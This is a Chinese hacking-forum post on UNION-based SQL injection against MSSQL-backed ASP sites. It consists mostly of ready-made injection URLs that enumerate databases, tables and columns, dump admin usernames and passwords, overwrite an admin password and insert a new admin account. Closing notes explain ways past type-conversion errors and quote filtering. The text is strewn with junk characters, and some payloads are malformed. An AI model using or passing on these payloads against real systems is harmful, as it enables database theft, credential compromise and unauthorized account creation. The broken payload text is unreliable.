标题: MSSQL用union查询爆数据 [打印本页] 作者: admin 时间: 2012-9-15 14:26 标题: MSSQL用union查询爆数据 爆库: * Z, C" N. F2 x3 A+ Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.-- d# G! Y# B* E
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.7 v# f% k" d6 {5 N3 q
爆下一个库:7 C, h3 O1 i0 o3 |
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--: @% o- Q3 l" Q, N; S- v! c
! @# z% \; h1 T! m6 Z2 Z! Z爆表: " x/ l1 M% z/ u9 `+ f& A# U8 i) bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- ( S1 S+ M. U, M, V: ~ ( k. z$ ] K6 p8 v- A. GSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. E Z [7 D2 S) I* J* l; c9 R
4 c5 h( h% I. z; Y4 q爆下一个表 ; X# w( \2 d+ K0 v* e) Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--4 K9 @* E9 c: ~, }8 X
; n6 j) p+ b" n7 l/ E6 G# d* dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--9 f3 V( ~( M. N. d
$ r% C3 G1 [' k! t8 L/ [% f
" `. H- k! |9 s" B; L7 z. ~ , o' \! P# X0 }6 Z爆字段: # V) c" D7 `0 ^8 j" C; y6 y e+ ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- # ~# r8 t; V: ~ T U) q2 [/ g: @. N
爆下一个字段 ( y. k) A6 }6 _http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--6 N& A+ d/ A1 T% {- q0 t* l
/ C C& Z4 X! Z8 N6 _5 ~3 yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- o( x6 R: {% ^ 9 ^2 n$ j) }' z( ^; A' }# e" T, P
爆字段里的内容- Y6 D# m) j# q. I! Z" C1 X8 C- f- v1 e
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--: o. A- C7 J1 A+ q. @- W, H0 I
6 s8 o7 [8 f1 O" U$ N% Ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- ( K9 x6 J1 ^3 _# d 4 |6 j% i2 I( c" `& V: ~7 R3 N# chttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--6 `7 P$ G* x5 p" h- N
' r$ l) ~( M' I0 O4 p C& l
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'-- $ A! i2 R4 H* F# [! T( ?7 } 8 Z$ ]2 X1 u& s更新字段里的内容 . j. a) ^ ^2 s/ [9 Whttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--) @ S; I6 U3 K- o
% T6 t5 f& F( O& N( U& m& t+ h0 N
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)-- ' d5 J( Y ]; v7 N4 L, x# h* U 5 o# F$ p1 D9 s4 b( G, }; b' b! M4 F5 Q9 e% T4 W
9 h7 E6 j0 z7 k. N: H* _
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。 , `0 B4 X/ s8 ~8 A' ~8 I- C' a6 o 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。 ! N, z/ ?: E. k% h 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。 0 q4 ?/ o# n/ x+ N+ x 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。 0 b. p( l9 Z) \, p7 f w% U( F5 T+ p9 i1 H* ~; X6 p4 T
突了了大部份限制的语句 " f, G2 c0 M" x1 `+ N+ d% `and 1=2 union all select char(49),char(50),null,null;--9 |& M+ ~/ U% i, l8 t
$ ?2 n: l9 K% U; Q5 ^4 e' K0 z l; f: ]: x8 U; X3 D' V
null也可以正常执行,不过没有回显,不好判断回显的列数。 ! J. n6 o% |# V7 i一般union遇到问题都是有text或者ntext字段,image的很少遇到. K! ~2 I8 D& o8 t1 Z' s6 O
4 ~2 u1 S1 `2 M5 d; w; O
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟 . h/ S! h n+ P! }" P2 J! r `4 ]* g/ B0 S+ Y5 \
* m$ ?2 Q: }) [; l$ ]! T3 f